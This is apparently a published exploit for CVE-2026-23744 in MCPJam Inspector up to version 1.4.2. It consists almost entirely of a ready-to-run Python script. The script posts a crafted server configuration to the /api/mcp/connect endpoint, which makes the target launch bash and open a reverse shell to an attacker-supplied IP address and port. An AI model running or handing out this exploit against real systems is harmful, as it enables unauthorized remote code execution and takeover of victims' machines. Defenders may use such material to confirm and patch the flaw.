MCPJam Inspector – Remote Code Execution
# Exploit Title: MCPJam Inspector - Remote Code Execution # Date: 07/03/2026 # Exploit Author: Diamorphine # Vendor Homepage: https://www.mcpjam.com/ # Software Link: https://github.com/MCPJam # Version: <=1.4.2 # Tested on: Debian # CVE : CVE-2026-23744 import asyncio import httpx import argparse from urllib.parse import urljoin async def main(attacker_ip, attacker_port, url): async with httpx.AsyncClient(verify=False) as client: data = { "serverConfig": { "command": "bash", "args": ["-c", f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"], "env": {} }, "serverId": "Hello666" } ready_url = urljoin(url, "/api/mcp/connect") r = await client.post(url=ready_url, json=data) print(r.text) parser = argparse.ArgumentParser(description="Exploit for CVE-2026-23744 MCPJam Inspector - Remote Code Execution") parser.add_argument("-u", "--url", required=True, help="Target host. e.g. http://127.0.0.1:8080") parser.add_argument("-l", "--lhost", required=True, help="Attacker ip") parser.add_argument("-p", "--lport", required=True, help="Attacker port") args = parser.parse_args() if __name__ == '__main__': asyncio.run(main(args.lhost, args.lport, args.url)) |